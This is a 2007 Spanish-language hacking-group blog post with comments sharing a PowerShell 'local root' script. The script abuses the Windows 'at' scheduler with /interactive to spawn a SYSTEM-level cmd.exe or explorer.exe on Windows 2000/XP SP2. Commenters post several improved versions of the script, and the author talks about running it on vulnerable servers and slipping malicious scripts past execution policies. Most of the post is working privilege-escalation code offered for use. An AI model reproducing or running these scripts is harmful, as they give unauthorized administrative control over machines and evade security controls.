martes, 3 de julio de 2007

Chasco del dia!

La verdad mientras estaba investigando y aprendiendo sobre Powershell me tome con esta funcion delen una mirada les va a sakar una sonrisa (Especialmente despues de estar luchando mas de 2h con scripts de la ps xD jajajja si que la necesitaba)

En fin y como dice markus xD te toka a ti musashi! =)



Ahhh me olvidaba les pongo mi primer shellcode que hice para el t34m

--------------------------p1mp4m.ps1 --------------------------
cls
echo "Local R00t exploit via Power Shell C0d3d by Pepepistola for my team p1mp4m w4rg4m3r5"
echo ""
echo "Tested on: "
echo windows 2000 xp_sp2
echo ""
echo "Not vulnerable xp_sp1"
echo "Ahora nos vamos a fijar como es la politica de ejecucion de scripts del sistema"
$a =get-executionpolicy
if($a -eq "Restricted")
{
echo Si dice Restricted! quizas quieras intentar ejecutar esta linea set-executionpolicy "unrestricted"
}
else{
$a = new-object -comobject MSScriptControl.ScriptControl
$a.language = "vbscript"
$a.addcode("function getInput() getInput = inputbox(`"Pon la hora mas 1 minuto`",`"Gr33tz t0 p1mp4m`") end function" )
$b = $a.eval("getInput")
at $b /interactive "cmd.exe"
for ($b = 1; $b -le 70500; $b++){
$b
}
#Hago tiempo...pero solo un minuto!!,si no sabes lo que haces no modifiques las vueltas consumiria recursos y alertaria al admin#
taskkill /F /IM explorer.exe
exit
}

#Algun dia lo traducire xD#
#Nota: Windows PowerShell included as part of Windows Server 2008,asi q Aprendan powershell xD#
#Si quieren renegar luchando con la hora :P para que entre en una variable e imprima hh:minmin avisen xD q se modifica#
# Enjoy #



--------------------------p1mp4m.ps1 --------------------------

10 comentarios:

Pepepistola dijo...

Depende la resolucion de su monitor van a necesitar #comentariar
alguna que otra linea

musashi dijo...

Bueno como suiempre felicidades Pepe,
muy buen aporte.
Estudiare eso de la hora.

musashi dijo...

mi solucion al tema de la hora
---begin code----
$times=get-wmiobject win32_currentTime
$b=$times[0].hour
$c=$times[0].minute
$c=$c+1
$c=":$c"
$a="$b$c"
at $a /interactive "cmd.exe"
sleep 65 #para ir sobre seguro :P
---end codigo---------

cuando se llama a get-wmiobject win32_currentTime ese te muestra 2 tiempos, el primero es el local, el segundo es el de Win32_UTCTime
El problema era que al concatenar 0 con : la power shell te hace cosas raras.
pero parece que 1:08 es lo mismo que 1:8 para la powershell
y 1:1 es 1:01... :P
asi que problema solucionado.

Esta es mi solucion, probablemente no la mas eficiente, sky saca la suya pronto

Saludos

Sky dijo...
Este comentario ha sido eliminado por el autor.
Sky dijo...

(uuuu primer post!!)
Bueno jeje y yo aqui posteo mi solucion, simplemente comparo los valores los cojo en variables y los concateno..

$x = New-TimeSpan $(get-date -hour 0 -minute 0) $(get-date)
$hours = $x.Hours
$minutes = $x.Minutes + 1
$b = "$hours"+":"+"$minutes"

personalmente CREO que se tarda algo menos en la comparación que en q en get-wmiobject (no te me ralles ori) pero ta guapo tambien :D
Buen trabajo

Saludos

musashi dijo...

cortesia de sky------------

---begin code----------
cls
echo "Local R00t exploit via Power Shell C0d3d by Pepepistola for my team p1mp4m w4rg4m3r5"
echo ""
echo "Tested on: "
echo windows 2000 xp_sp2
echo ""
echo "Not vulnerable xp_sp1"
echo "Ahora nos vamos a fijar como es la politica de ejecucion de scripts del sistema"
$a =get-executionpolicy
if($a -eq "Restricted")
{
echo Si dice Restricted! quizas quieras intentar ejecutar esta linea set-executionpolicy "unrestricted"
}
else{
taskkill /F /IM explorer.exe
$times=get-wmiobject win32_currenttime
$b=$times[0].hour
$c=$times[0].minute
$c=$c+1
$c=":$c"
$a="$b$c"
at $a /interactive "explorer.exe"
sleep 65 #para ir sobre seguro :P
#Hago tiempo...pero solo un minuto!!,si no sabes lo que haces no modifiques las vueltas consumiria recursos y alertaria al admin#

exit
}
----end code------------

en realidad asi como penso sky no habra que escrivir el explorer.exe luego en la ventana

Pepepistola dijo...

Muy bien esta nueva shell funcionara mejor en remoto =) sin necesidad de estar corriendola bajo ps =) y eso si es mucho mas conveniente que valla bajo el nombre de p1mp4m.psc1

asi una vez incluida a un server vuln bastaria con start p1mp4.psc1 para ejecutarla yo estuve estudiando como mierdas se puede hacer para crear un script malicioso que pase las politicas de seguridad creo que la clave esta en esos XML que trae la ps y la informacion encriptada en base64 que tiene el perfil.ps

;) a seguir dandole que es el futuro del juacking sobre win

Sky dijo...

Vaaale si soy un poco pesao, gracias ori por el "cortesia de sky" y aqui dejo mi version definitiva...o weno al menos version definitiva de esta semana

$x = New-TimeSpan $(get-date -hour 0 -minute 0 -second 0) $(get-date)
$hours = $x.Hours
$minutes = $x.Minutes + 1
$b = "$hours"+":"+"$minutes"
$seconds = 58 - $x.Seconds
at $b /interactive explorer.exe
sleep $seconds
taskkill /f /im explorer.exe
sleep 3
at /del /y

Saludos

Unknown dijo...

Quien es Ori???
Diria que no funciona primero el kill y luego el at, no???, de todas formas buena idea, para la gente que no quiere esperarse ni un minuto

saludos y seguid igual :P

Sky dijo...

Hola anull en primer lugar ori es musashi ( es q es una mania mia llamarlo asi ) en segundo lugar el orden del taskkill y el del at estan puestos asi a posta ya que me daban problemas con otro ordenes, lo configure asi teniendo en cuenta el minimo tiempo cogiendo la variable seconds y calculando asi un pokillo por logica :D

Saludos